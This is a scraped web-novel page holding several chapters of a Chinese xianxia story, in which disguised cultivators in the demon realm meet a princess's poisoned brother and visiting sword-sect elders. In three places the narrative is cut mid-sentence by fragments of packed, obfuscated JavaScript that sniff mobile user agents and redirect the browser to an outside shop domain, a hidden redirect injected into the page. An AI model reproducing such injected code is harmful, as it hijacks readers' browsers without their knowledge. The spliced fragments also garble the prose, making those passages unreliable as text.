让无量宗长老相信他们的办法只有一个—— 那就是暴露她陈之予的身份,告诉他们,这是师尊给的丹药的功效。 要暴露身份么?还是自己离开,留他们两个等死? 时间仿佛过得很慢很慢,在她无法抉择的时候,空无一人的牢房里忽然响起了脚步声。 锦衣男子站到了他们身前。 “你想干什么?” 枝枝小小的身子挡在了他们面前,可以看到,她的腿还是颤抖的。 “不许你伤害我的朋友!” 在她很小的时候,与十城之主的关系都很好,这个人他记得,小时候经常陪她玩,还会在阿爹骂她的时候帮他说话。 想着想着,她的眼泪就要留下来。 对方没有说话,拿出钥匙,打开了房门。 “你们走吧。” “什么?” 枝枝愣了一下。 “新皇暴政,民不聊生,我的城市也受到了影响,大家脸上的笑容越来越少了。” 他笑得温柔:“枝枝,我相信你可以的。你们走吧,希望你们可以成功。” “不,请一定要成功。” 枝枝止住了哭:“谢,谢谢你,” 30. 妖界(五) 枝枝看着城主,仿佛又回到了小时候,她会在他的怀里撒泼打滚,会央求他给自己买各种好吃的。 那时的他会笑着,假装受不住她的吵闹而去买。 就像现在,只不过现在他的笑容里多了几分苦涩。 枝枝深深地看着他,郑重地点了点头。 等几人跑远,城主一挥手,对着空无一人的牢房喊道:“公主与其同伙两人逃走,全城搜捕!” * 几人顺利逃出了城,陈舒朝想起他们逃出第一座城的时候,回头看到一男子站到城墙之上,安静地看着他们。 枝枝……还是有很多人在默默支持你的。 后面的城就很好走了,那些妖都是象征性地拦两下,最终都会放他们走,他们顺利地到达了皇城下面。 “等会你们跟在我后面,我哥会来接应我。” 城门旁有几位守卫,神情严肃,妖力大概在金丹期。 枝枝跑上去和人打了个招呼:“你好,这是我高价带回来的厨子。” 守卫看了她一眼,没有多问,直接放行了。 ……直接放行了? 陈舒朝拉着江砚辞追上去,悄声问枝枝:“你不是偷跑出来的么?” “不是啊,”枝枝解释,“城中的守卫大多都被哥哥换成了自己人,我在这里畅通无阻,把我变成花枝鼠是怕外面有舅舅的人发现我。” “你之前说旁系造反……那人是你舅舅?” “是,他杀了我远方表姐,我与表姐见过两次面,她是个好人。” 好人。陈舒朝感叹了下,很久没见有人这么直白地把认识的人分为好人和坏人了。 “那这么说你舅舅几乎都被架空了,似乎他自己就可以夺回皇位。而且既然你哥哥这么厉害,为何不一开始就杀了他,还留到现在对自己的皇位造成威胁?” 江砚辞忽然插话:“你之前说你哥修为被封印了,和这个有关?” 听见江砚辞说话,陈舒朝才突然反应过来自己一只抓着他的手,她立马松开,走快了两步,和枝枝并肩。 江砚辞摩挲两下手指,后悔插话了。 “对,”枝枝道,“我哥很聪明,但在修炼上没什么天赋,是个没什么存在感的小透明,但那天,大厦将倾,父皇在前方护着我们,我还太小,母亲受了重伤,在最后关头把所有修为传给了哥哥。” “哥哥没受住,晕了过去,我也被抓了起来。再相见时,哥哥被封了修为,担任守卫长。” “也就是说现在的情况是,宫里大部分是你们的人,只是大多修为平平,没办法夺回皇位,只能暗中做些手脚?” “是这样,”枝枝顿了下,“舅舅是化神期巅峰,还有三位化神初期幕僚,原本我出去也是为了调查民情,说服十城之主的,可惜……” 她叹了口气:“我们实在是没什么胜算,舅舅手段太过残忍,没人敢冒这个险。我见过一个城主,还未把话说完就被赶出来了。” 陈舒朝摸了摸她低垂下去的头:“其实他们也都有苦衷,他们管理着一整个城市,新皇之下,自保都难,若伸出援手,城中的百姓可能大多性命难保。” 枝枝揪住自己的衣摆:“……我知道,可他们都是元婴巅峰的修为,也有两个化神,联合起来,就算有一些牺牲,也能打过舅舅他们的吧?” 陈舒朝摇摇头:“万一失败,那代价没有任何人可以承担得起。更何况,有一位化神期巅峰在,就算十城之主一起上,结果也很难说。” “——你哥恢复修为的话,能到化神巅峰么?” “能。” 一个化神巅峰,一个元婴中期,一个元婴初期,再加上无数个金丹……修为最高的那个还一点实战经验也没有,他们几乎没有胜算。 说话间,绕过一片竹林,枝枝抬了下眼:“到了。” 面前是一栋颇有自然气息的竹屋,一层架空,上面二层的规模堪比四合院,看来住得不错。 进入屋内,绕过院子,站在主屋前,枝枝叩了叩门:“哥,我回来了。” 门内响起激烈的咳嗽声,还有男人匆忙间撞到东西的声音。 一阵兵荒马乱,门开了:“小妹,你——” 话刚开了个头,在看到自家妹妹身后的两个人后止住了:“这两位是?” 男人一身素白,面无血色,长发披散,垂在身前,看起来柔柔弱弱的,好像下一秒就要咽气。 “是我的朋友,哥哥,我们进去说。” 男人打开门,三人依次进屋。 屋内的家具很少,只有一张榻和一张桌,桌上摆着一瓶花和一壶茶,以及几个杯子。 陈舒朝注意到,有三只杯子摆在桌上,杯内有茶渣,杯口还是湿润的。 方才有人在这里? 注意到她的视线,男人笑着道:“方才我在研究茶,研究出了三种口味,还都不错,你们要尝尝么?” 陈舒朝挑眉:“正好我喜欢喝茶,就先多谢了。” 男人身子微不可察地一僵,视线转向江砚辞:“这位小兄弟也要么?” “要。”他方才顺着师姐的视线也看到了一些奇怪的地方。 男人俯身拿起茶壶,摇晃了两下,倒入茶杯中。 在潺潺水声中,他介绍道:“我叫陆闻舟,身份想必你们已经知道了。” 三盏茶倒完,他拿出第四个杯子,又倒了一杯,推给枝枝。 枝枝接过茶,兴奋道:“我叫陆闻枝,哥哥可会泡茶了,这一点连我父皇都夸他!” 陈舒朝抿了一口,没说话。 对于一个皇室人员,到只能被夸茶艺好的地步,想必不好受。 “确实不错,还有两种呢?” 陆闻舟露出苦笑:“稍等。” 他拿出茶具,修长的手指灵活地翻涌在各个工具之间,准备现场制作。 他的长相是那种脆弱的美,时不时咳嗽一声,再这么虚弱一笑,连花也为之失色。 陈舒朝的确对茶有所研究,也能尝出方才的茶不一般。 枝枝不明白,自己原本带东东和水水来是让他们认识一下,商讨之后的计划,怎么会泡起茶来了。 “哎呀别管茶了,哥哥!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791731|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “小妹,”他的动作没有一丝慌乱,“有客人来,我们要好好招待才是。” 枝枝撇撇嘴:“你总把我当小孩,我这次可是干了一件很有用的事,这两位哥哥姐姐能解你的封印!” “是么?” 他洗了下杯子,把第二种茶倒好。 “那更要好好招待了,请。” 枝枝哼了一声,把刚倒好的茶干了,茶杯重重摔在桌上。 到江砚辞时,看到他杯里还剩的有茶,陆闻舟顿了下:“不喜欢么?” “倒不是,是我本身就不喜欢喝茶。” “那就不勉强了。”他话音刚落,看到江砚辞闭着眼一口把茶干了,“你……” “我想尝尝,给我倒吧。” 三杯茶很快喝完,的确不错,三种茶味道相近,仔细品尝才能尝出其中的不同,每种味道都控制得恰到好处,不像是方才短时间内想出来的配方。 “好了,现在可以介绍下自己了么?” “当然可以。”反正本来的身份也是假的。 “我们来自一座偏僻的大山,我叫东东,擅长解各种封印,或许可以帮你解开你体内抑制修为的封印。” “我叫水水,”江砚辞道,“我擅长做饭,正好以你妹妹聘请的厨师身份进来。” 枝枝急道:“对对,他们可厉害了,而且来自人迹罕至的深山,说不定见过这种封印的解法呢!” “我倒不知还有这样的地方,有机会了一定要去看看。” “我先为你看看你哥中的是什么封印,师弟,你带着枝枝出去一下。” 这话一股把自己当主人的味道,陆闻舟也不恼:“小妹,你先出去吧。” 枝枝担忧地看了一眼自家哥哥:“姐姐,拜托了。” “放心。” 在门合上的那一刻,长剑出鞘,陆闻舟刚一转头,剑就架在了自己脖子上。 他看起来一点也不慌:“你这是干什么?” “你并不甘心一辈子只当一个小角色吧,你对你妹妹心中有怨?” “这是在说什么?”他非但没有退后,还往前走了一步,剑锋割破脖子,血顺着脖颈染红了白色的衣领。 “她是我妹妹,我倒是担心她太过单纯,出门被骗——你说的深山,真的存在么?” “你没见过不代表不存在,”陈舒朝挑了挑眉,没有退,“方才屋里,至少有三个人吧?是谁值得你用上这么好的茶?” “有么,我一直在屋里我怎么不知道有人?” “好吧。”陈舒朝收了剑,“反正不用我杀,你也活不了多久了。” 听到这句话,陆闻舟神色微变,情绪的变化让他剧烈咳嗽起来。 苍白的手抓紧了桌沿,俯下身子,咳得颤抖。 “你不仅被下了封印,还中了毒吧?” 陈舒朝垂下眼,无动于衷,在战场的时间让她认识了不少毒和封印。 陆闻舟剧烈喘息,勉励压下了咳嗽:“你认出来了?” “是谁给你下得毒?这毒可不像是一个远方表亲可以用到的。” 31. 妖界(六) 从出来到现在屋内一点动静都没有,江砚辞不安地在屋外踱来踱去。 “水水哥,你别太担心,姐姐一定会成功的。就算不成功我也会央求哥哥派人找到你们要找的东西。” 他担心的不是这个,方才短暂交锋任谁都能看出这位哥哥不简单。 若是他要对他们不利…… 师姐把他和水水安排在一起,应当就是为了应对突发情况。 水水一无所知地看着江砚辞,完全不知道他的心里在想什么可怕的事情。 * 陆闻舟以攻代守,直起身子问:“你不是妖对吧。” 他用的是肯定句。 陈舒朝面上没有任何反应:“可别乱污蔑妖,我从里到外都是真正的妖。” “真正的妖可不会这么急于证明自己。” 陈舒朝当然明白,这就和你本来好好的,突然有人说你不是人一样,你大概会骂一句这人有病。 但她有恃无恐:“哦,那我就做那只不一样的妖,你如何证明我不是妖?你这么着急转移话题,是因为下毒之人身份特殊,没办法说?” 她作出思索状,没一会眼眸微亮,颇有些微妙地看着他。 陆闻舟摸不准她有没有猜到,他不知道枝枝同他们说了多少。 小妹的性子太过单纯,很容易得罪人,他放她出去虽是接着让她做事的名义,其实是为了保护她。 待在外界,总比待在这尔虞我诈的皇宫要好,十城之主也会看在旧主的薄面上,睁一只眼闭一只眼。 他有意无意望向门外,小妹现在在他们手中,他不敢太过轻举妄动。 陈舒朝看他神情就知道自己猜对了。 他或许有什么不可告人的秘密,但他对枝枝是真心的。 她并非真的有意打探什么秘密,知道这一点便足够了。 欲开口,对方抢先一步:“行,我说。但你也要告诉我一件事。” 陈舒朝便止住了话头:“你说。” 陆闻舟深吸了口气,整理了下语言,仿佛做了极大的心理建设:“化妖丹……是谁给你的?” 化妖丹。 她呼吸停了一瞬:“你怎么会知道化妖丹?” 陆闻舟坐在桌边,修长的手指沾了一点杯底的茶水,在桌上写了两个字。 陈舒朝看过去,是“前世今生”四个大字。 “你相信前世今生么?” 得到对方看傻子一样的目光,陆闻舟苦笑了下:“这只是我的一个设想。” “化妖丹是你发明的?”陈舒朝有点明白了。 “化妖丹是我基于前世今生的设想研制出来的,最初的想法是,无论是谁都会有许多个前世,这许多个前世中一定会有一世为妖、一世为人,或者其他草木精怪。” “通过符咒或是什么媒介,将其为其他物种的一世投射到现在的身体上,就可以假乱真。” 桌上画了一只猫,一支箭头把猫引向了人类。 最初的想法之所以为最初,是因为后来的研究打翻了这个想法。 他垂眸,桌上的水迹在一点点消失,直至完全不见。 陈舒朝坐在他对面,听他继续说。 “很可惜,前世今生的想法太过缥缈,十年过去,一点进展也没有。” “我就想出去散散心,找找灵感,无意中到了妖界边缘的一座城市。” “——你也知道,我向来没什么存在感,这么跑出去没人在意的,自由得很。不像小妹,十岁时才第一次去修真界。” 他画出一道长长的街道:“那座城市人妖混杂,我经常去,与那边的商贩都还算熟络。那日我去,在一个空无一人的小巷子里被人挟持,往日说说笑笑互道朋友的人无一人敢上前。” “最终,我被一位浑身是血女修救了。” “那位女修叫什么?”她心里总有一种预感。 “不知。”陆闻舟抬首望向窗外,“我只知,她是无量宗的一位长老。” 单萧。 陈之予的师尊,无量宗杂役峰长老,多年前经历了一场意外,此后修为再无精进。 会是她么? “她本就身受重伤,那些人跑了后就支撑不住晕倒了。我为报救命之恩,带她进了皇宫。” “皇宫森严,我带她进去已是不易,后面若是被发现她人族的身份,不堪设想。” “我将她藏在我的房中,用我的妖气掩盖她的气味,没日没夜地研究那个设想。她醒后要走,但身体已经是强弩之末,根本回不去。那日眼见有人察觉不对,要进屋搜查,匆忙之间,我放弃‘前世今生’的设想,将未完成的半成品喂给她。” 陈舒朝已经预想到了结局。 “成功了,她变成了一只猫妖,与真正的猫妖没有任何区别。我带她去找了医师,花了半个月治好了伤,我带她去边界的那座城。” “三日后,药效过了,她重新变成了修士。只是——” 陆闻舟顿了顿,似是悲痛:“她的修为停滞,再无精进可能。她还不怪我,感谢我收留她,为她疗伤。” 她走后,陆闻舟花了三年时间改良药方,舍弃掉一些功能以及不切实际的幻想,最终研制出了化妖丹。 他想办法给她送过去了三颗,希望能再见一面。 “她到现在都没有来,一次也没有。” “她当时是金丹期修士?” “你认识她!”他希冀地看着陈舒朝,“可以请你告诉我,她现在过得如何么?” 八成可能就是单萧,但陈舒朝没有和盘托出:“她过得挺好。不过,倒是未必没来找过你。” 陆闻舟眼睛一亮:“真的!”复又暗下去,“她来了,却没有来见我。” 陈舒朝没有多说,毕竟自己对此事也不了解:“她如今过得很好,这点不必担忧。至于为何不来见你,可能是有其他的考量。” “你说的对,她平安就行了,别的我也不奢求什么,多谢你告知我这些。”他对她郑重地抱了一拳。 “不必。”她多问了一嘴,“你知道她叫什么,又是哪一峰的长老么?” 陆闻舟摇了摇头:“不知。” 陈舒朝啧啧称奇,名讳身份什么的都不知道,这就念念不忘了这么多年? 她回去得找单萧打听打听。 “闲话说完了,我也不替她做决定,要不要告诉你是她的自由。我们来干正事吧。” “正事?” “解开封印和解毒啊,你不是对丹之一道有所研究,还研究出了化妖丹这般神奇的玩意儿么?不该对你自己身上的封印和毒束手无策才对。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797613|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才闲聊中,她已经看过他的身体,都不算难解决。 陆闻舟脸颊微红:“我并非对丹之一道有所研究,我所研究的一直都是化妖丹,除此之外,皆是一窍不通。” 怪不得这么简单的封印和毒能困住他们这么多年。 陈舒朝扫视屋内一圈,找出笔和纸,在上面写了长长一串草药,递给他:“给,考虑到我们目前拿不到太过珍贵的草药,我都替换成了简单易寻的,命你手下去找吧,找完了知会一声,剩下的交给我。” 陆闻舟一个个看去,瞪大了眼睛:“这方子……妙,实在是妙。” “妙就对了。”这是她自创的。 丹修药修大都谨慎,不敢换其中的药材,她却特别喜欢以次代好,并发挥出与原本药方相同或者更甚的效果。 因为这个,她还被丹峰列为黑名单,不许她擅自更改药方,不许她轻易靠近药田丹炉。 一是怕她乱改出事; 二是不相信,每种药方都是前面千百人的心血,岂容后辈一两句话就篡改?或许只是短时间内没有副作用,时间一长,难保不会出事。 许久没有这样酣畅淋漓地改过药方了,她对陆闻舟也多了些好脸色。 “膳食的事都归枝枝管对吧,我去找她给我们安排间房。” “好,这几日也多谢你们照顾小妹。” 陈舒朝起身朝门外走,走到门前时停下,朝后摆摆手:“各取所需罢了。” 陆闻舟笑了。 对他这样的老狐狸,说再多的交情信任,都不如一句各取所需来得让人放心。 屋外,江砚辞见她出来,立马迎上去:“没事吧?” “我能有什么事?”她对着枝枝,“我看过了,你哥没什么事,只需寻些草药,需要些时日,我们先歇息。” 陆闻枝扬起笑脸:“好,我就说姐姐肯定没什么问题!你们房间我已经安排好了,在这边。” 厨师们都住的是大通铺,他们这种走后门进来的当然不用和他们挤,陆闻枝单独给他们安排了一间房。 厨房离他们兄妹住的地方不远,来往方便。 他们上了顶层,停在一间房前,陈舒朝进去,回头看看,意识到陆闻枝只给他们安排了一间房。 “没有其他房间了么?” “没有了。”她笑笑,“这原本是我的房间,我腾出来给你们住,我去和哥哥一起住。” “天色已晚,你们歇息吧。” 她都这样说了,两人也不好说什么,和她道别后目送她远去,然后进了房间。 房内只有个很小的榻,完全睡不下两个人。 江砚辞自觉打地铺,陈舒朝没有制止,躺在榻上闭目养神。 身旁窸窸窣窣的声音停止,清浅的声音传来,夜已深了。 陈舒朝睁开眼无声地下了榻,在江砚辞旁边盯了他半晌,从窗外出去,上了屋顶。 妖界高山很少,在这样高的屋顶几乎能将整个妖界尽收眼底。 妖界的夜晚很热闹,纵横交错的街道灯火通明,远处还在放烟花。 陈舒朝双手撑地,看向夜空。 月光皎皎,她也曾对着月亮抒发少年意气,像陆闻舟一样做着不切实际的幻想。 可惜如今,月也不同,人也不同。 32. 妖界(七) 陈舒朝在屋顶待了一会儿,正要下去,见江砚辞上来了。 “睡不着么?”江砚辞问。 “嗯,你怎么也上来了?” “睡醒了,然后就睡不着了。” 那他也没睡多长时间吧。 不过对于他们这个修为的修士来说,睡不睡觉也没什么区别。 “师姐为什么睡不着?” 陈舒朝默了片刻,眼中映着烟火,反问他:“你不害怕我么?” “不害怕。” “为何?”她倾身向他靠近,“你不知我嗜血残杀、不通人性、堕入魔道、反叛了整个修真界?” 她靠得很近,带着狠意的眸子撞进他的眸中,眼尾有一抹红,不似哭了,更像是太过劳累。 江砚辞愣了几息,感受到她抽身离去才忙答道:“我知师姐并不是坏人,宗中卷宗所记大多并不真实,我相信我自己,也相信师姐。” 少年眼神坚定,说这话时凑近了些许,一缕发丝被风吹到陈舒朝的面上,丝丝缕缕,有点痒。 她未动,无奈地笑了笑。 果真是小孩子,若是多年前,她也能堂堂正正地说自己是正道,但是现在,的确说不准。 她躺下去,伸出手,透过手指缝看远方的烟花。 “我的确已经算得上是半魔,你帮我若是被发现,可是要被处死的。况且依我们的实力,月华凝露草尚且如此艰难,往后只会更加艰难。” 江砚辞当真认认真真地思考起来,他苦恼地锁紧眉头,半晌,泄气一般学着她的样子躺下,扭头看她:“师姐,我不想去考虑那么久之后的事情,至少现在、此时此刻,我会跟着你。” “好。” 他们又看了会儿烟火,回去稍作休憩。 天亮了,陈舒朝是被敲门声吵醒的,她迷迷糊糊睁开眼,见江砚辞也是刚醒,穿了鞋去开门。 她坐起来,听到了枝枝的声音。 “今日有修士来拜访,舅舅听说我带了两名厨师回来,点名道姓要你们来做宴上的吃食。” 江砚辞表示知道了,回头见师姐醒着,刚要开口,陈舒朝抢先道:“我听到了。” 于是两人洗漱好,整理了一下睡乱的衣裳,就出门了。 陆闻枝将他们引至厨房,告诉他们一些注意事项。 “非常抱歉,本来是想让你们做个闲职,没想到修真界人会突然造访。” 若不是需要设宴,舅舅也不会注意到他们。 两人都不怎么在意,陈舒朝多问一句:“来人是谁?” “是归一剑宗的大长老及其座下弟子。” “他的弟子们都来了?” “不知,我见他只带了一人。” 一人。 反正后厨又见不到前面的人,她也没多太在意。 陆闻舟走后,他们就开始了忙活。 当然大多数是江砚辞在忙,她也就打打下手。 不到午时,一切都准备好了,两人闲下来。 刚休息没一会儿,有位陌生的面孔忽然进来喊:“方才是谁做的饭?前头找你们!” 两人皆是一顿,江砚辞离得近,起身问:“是我们,可否透露下所为何事?” 那人摇头:“不知,派我来的人没说。” 行吧,他们跟着那人过去。 皇宫的路弯弯绕绕,有很多长得差不多,陈舒朝仔细记下路。 穿过一片竹林,再转一个弯,耳边的声音陡然热闹起来。 上了台阶,进入殿内,两侧座无虚席,桌上琳琅满目,主食甜点个个精致,殿中央有舞女挥动如水的长袖,上首坐的便是妖界之主了。 引他们的人将他们送到就离开了,陈舒朝没敢抬头看,怕引起什么不必要的麻烦。 “今日的吃食是你们做的?” 上首的人开口,声音浑厚。 两人齐声道:“是。” “做得不错。” 陈舒朝听得心一梗,不至于为了夸一句就把他们叫过来吧。 她刚在心里吐槽完,上首的声音又传来:“这两位修真界中人也是如此认为的,他们觉得这菜品有些熟悉,想要认识一下你们。” 原是如此。 “抬头。”他对着他们道,随即对着他的下首开口,“宋长老可有看出什么名堂?” 宋长老宋知简,是归一剑宗掌门剑尊长留最信任的人。 当年的事……他知道,并且很有可能参与其中。 陈舒朝手紧了紧,压下眼底戾气。 对方看到他们的摸样,愣了愣:“你们是……” “我们来自山里,没有大名,只有小名,我叫东东,他叫水水。” 宋知简的面容是少年人,头发却已全然变白,留着长长的胡子。他将他们看了又看:“你们,长得很像我的故人。” 陈舒朝不动声色地观察他们,宋知简还是那个模样,同多年前没什么两样,他旁边的人有点陌生,又有点眼熟。 他旁边那人,据说是他的徒弟,但同她前两日见到的面容无一个对的上。 倒是有一人能对上,不过这个是男子,那个是女子。 “是么?”她含糊地接话。 宋知简摇摇头:“像,实在是像。只是她不可能在这里——不,或许有可能。” 他苦笑了下,“抱歉,别在意我说的话。” “好了。”妖族之主开口了,“我们人族与妖族向来是井水不犯河水,你们此次前来所为何事,可以说了么?” “当然可以,”他点点头,“前些日子我宗镇宗之宝丢失,我徒儿出任务时见到有人用,他说那人来到了妖界。” 妖族之主本来就不喜陆闻枝带回来的人,这话一听,当即轻哼一声:“近日新入城的人只有这两个,任你处置。” 宋知简笑笑:“这两人一看就不可能做到神不知鬼不觉地偷走我宗至宝,大人说笑了。” 上首之人哼了一声,没再说话。 “这菜确实做得不错,与我在修真界最好的酒楼吃的味道也不相上下。不知两位小友在哪学的厨艺?” 江砚辞:“偶然捡到的一本菜谱,照着上面学的。” “可否让我看看菜谱?” “已不知所踪。” 对方叹了一口气:“那太可惜了。” “你们退下吧。” 两人点头应是,出了殿门。 刚走进竹林里,立刻有人迎上来。 陆闻枝泪眼汪汪,不停道歉:“抱歉呜呜呜呜,我差点害你们丢了性命……” 陆闻舟拖着病弱的身子,也是带着歉意看向他们。 “无事,”她揉揉陆闻枝的头发,“是你水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802098|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水哥做饭太好吃了,夸他呢。” 江砚辞颇有些不好意思地挠挠头。 陆闻枝扑进江陈舒朝怀中,抬头看她:“真的么?” “真的,我们已经平安出来了不是?” 她有些感慨,枝枝初见她时还是个恶劣的小姑娘,两人说话都不怎么客气,谁知只需救她一次,就对你百依百顺、颇为尊敬了,也不计较前嫌。 想起之前同她拌嘴的时候,陈舒朝想逗逗小孩:“小老鼠小姐,再哭就要被猫抓走一口吃掉了。” 怀中的身子一僵,哭泣声也是一停,陆闻枝蹙眉抬头,像是不喜欢这个称呼,说出嘴的却是:“老鼠就老鼠,姐姐想怎么叫都行。” 陈舒朝挑眉。 居然这么好说话。 另外两人笑着看她们。 “师尊,我确定他们就是来了妖界。” 四人一顿,陈舒朝快速比了个噤声的手势。 她用口型道:“听听他们在说什么。” 其余人点头,安静地藏在竹林里。 “州清城和宁城一看就有异样,城内客栈全满,若是寻常人就会去其他城落脚,可他们偏要在州清城。只有去往妖界,才会只能在州清城落脚。” “若是他们就是想去州清城呢?若是他们真的只是恰好经过那里,听闻有事所以留下来想帮忙呢?情况有很多种,就看你愿意信哪种。况且依你所言,那人的实力也不像是能拿走长风剑的人。” 他略一思索,带着遗憾道:“没人能拿走长风剑,除了一人。不可能是那个人。” “好吧好吧,你说得对,反正我们本身也用不了,丢不丢的区别也不大。就是气坏了剑尊他老人家。” 他说着坐在池塘的围栏上,长风吹起,撩起他的头发,让他的长相看起来有种阴柔的美。 陈舒朝陡然间猜到了什么,就见宋知简一脚踢上去,把他踢进湖里:“明诗!我再给你说一遍,什么老人家,剑尊还年轻着!对剑尊尊敬点!” 原来他是明诗么? 陈舒朝有点好奇,究竟是他之前男扮女,还是他现在女扮男。 陆家兄妹不知情况,江砚辞瞳孔震颤地望着师姐。 陈舒朝对他缓缓点头。 对没错,就是你想的那样。 江砚辞一直都活得规规矩矩,身边的人也都规规矩矩,现在感觉自己内心有一扇门被打开了,他见到了更加奇妙的世界。 原来如此么? 明诗从湖里爬出来:“找不到就不找了,你我再心知肚明不过,唯一可以强抢长风剑的人已经不在了,现在剑不见了,肯定是认主了,我们再找也是白忙活。还有,你这脾气也太差了,不敢相信你还有什么故人。” 他刚说完,一击手刀落在他头上。 “说‘不在了’多不吉利,而且,你这个做徒弟的,怎么反倒说我脾气差,一点都不尊师。” 江砚辞看了一眼陈舒朝,见她没什么反应才收回视线。 明诗捂着头,发出的声音任谁听了都不会错认他的性别:“年龄大就是年龄大,脾气差就是脾气差,怎么还不让人说了。” 怪不得他之前不说话。 宋知简拿出了杀手锏:“你再说我就把你喜欢女装,其实是个男子的事说出去!” 明诗身子一僵,不敢再多说,只敢在心里骂。 33. 妖界(八) 陆闻舟和陆闻枝原本不懂,在听到最后一句话后也差不多懂了个大概。 一时寂静,没人发出声音。 四人内心都受到了不小的震撼,在他两人走后还是不能回神。 “这……”陆闻舟全身僵硬,“是我理解的那个意思么?” 陈舒朝沉重地点头:“应当是。” 接下来没什么说的了,几人一同回去。 “草药我已经派人去找了,应当很快便会有结果。” “你研制的丹药,应当知道有期限,从今日算起,还剩二十日了。” “够用了。” 说话间,已经到了后厨,几人停下脚步。 陈舒朝:“行,那我们就先回去了。” 陆闻枝拉她袖子:“你不如先到我们那里,这样再有人找就说在给侍卫长做饭。” “不了,你们现在身份敏感,当小心行事才是。况且我们是各取所需,我又不是好心肠免费帮你们的,不用这么考虑我们。” “后半句我不认同,”陆闻舟拍拍自家小妹的头,“但前面说得不错,我们得小心行事,不然被发现就前功尽弃了。” “好吧。你们也小心点。” 四人分开。 现在没什么事,两人回了房间。 房间内还是两人匆匆忙忙离开的样子,被褥被团成一团放在一边,还有一个角落在地上。 江砚辞本来就打的地铺,被褥有一大半都在地上。 他脸颊微红,妖力微动,给整个屋子施了个清洁术。然后把被子叠好收进储物袋。 整个屋子收拾好,已是未时中了。 陈舒朝坐着歇息,昨日没睡好,有些倦意。 刚要躺下,又有人敲门,江砚辞起身:“师姐你休息吧,我去看。” 陈舒朝点点头,江砚辞去开门了。 门打开,是宋长老和明诗。 “你们来是……?” “嘘——”宋知简一根手指抵着自己嘴唇,示意他小声点。 “我们可以进去么?” 江砚辞回头看,陈舒朝都听到了,她点了点头。 宋知简进去后快速关上门,还上了锁。 他看向他们——主要是看陈舒朝,颇有些拘谨:“你们认识……” 他压低声音:“陈舒朝么?” 陈舒朝心中一凛,面色却是不显:“那是谁?” 宋知简:“她是三四十年前的正道第一人,无量宗掌门最得意的弟子,也是当时的正道魁首,她独自一声深入魔穴,杀了魔尊。” “——至今三十年前,魔族未有进犯。” 屋内的二人都知道他说的是谁,正主还倚在榻上,颇有兴致地听他说。 江砚辞的心脏砰砰跳,脸颊也染上了绯色。 师姐之前……好厉害。 他想要成为师姐这样的人。 宋知简注意到他:“你很热么?现在的天应该刚刚好。” 江砚辞慌忙坐直:“是有点热,我们妖身上有厚厚的毛,会比较怕热。” 是这样么? 一屋子人没人当过妖,不了解,陈舒朝是没毛的蛇妖,也不知道有毛的妖是什么情况。 所以他们虽然有点奇怪,却也没多问。 宋知简接着说:“她在战场待了十年,与魔尊打了两年。在第八年,由我协助她杀死魔尊。” 他说着难掩悲痛,眼底波光流转,仿佛下一秒就要落下泪来。 “在刚进入魔尊老巢时,一道魔气忽然朝我而来,当时我已是重伤,无法躲避。她将我推开,代我受了那一击,也因此魔气入体。之后我再要进去,她说她自己一人来就好,让我回去养伤。” “不等我回答,她就关闭了入口,我进不去了。” 他叹了一口气:“我自知自己的确受伤太重,也没强求,谁知竟晕倒在半路,再醒来,已是五年后了。” 五年后。 当时她已经被囚,无力回天。 “她是因为我才——” 陈舒朝打断他:“因为你才将自己弄得这么狼狈?那你有点太看得起你自己了,能让她失败的,只有她自己。” 救他的这件事,她其实并没有放在心上,若不是今日听他讲,她大概永远想不起来这件事。 她被囚,是因为她自己。 是她自己太过相信他人,从来不是因为别的什么人、什么事。 宋知简忽然激动:“你,你认得她!” “之前被她救过,其他的我不了解,但我觉得,她这样的人,从始至终都是骄傲的、意气风发的,怎么会怨天尤人,将错处归于他人?” “是,是这样。” 陈舒朝是这样的一个人,当年她独自面对魔尊,也是笑着的、自信的,她从不认为自己会失败,就算失败了,也心甘情愿认输。 宋知简将视线落在她身上:“像,实在是像。” 陈舒朝投给他一个疑惑的视线。 “你和她太像了,不光长得像,有些时候的神态也像,不,简直就是一模一样。若不是明确知道她没有子嗣,我都要怀疑你是她的后代了。” 陈舒朝有些无语。 她都如此没个正形了,怎么看出来神态像的? 她之前也是这样的么? 明诗也无语:“有你这么说自己敬佩的人的么?” 他一开口,两人就用一种奇妙的目光看他。 他的声音的确是男声没错。 明诗莫名其妙:“看我干什么?” “没事。” 尊重每个人的喜好,他们也就是觉得新奇,没别的意思。 陈舒朝倚着床没动:“你们找来就是为了问我认不认识她的么?” 宋知简:“不,我是觉得,以她的本事,说不定真的在这里呢?若她真的在,我一定要亲口说一声谢谢。” 话落,他苦笑:“如今看来,她应当真的不在。你与她虽有些相似,但在某些地方,还是不一样的。” 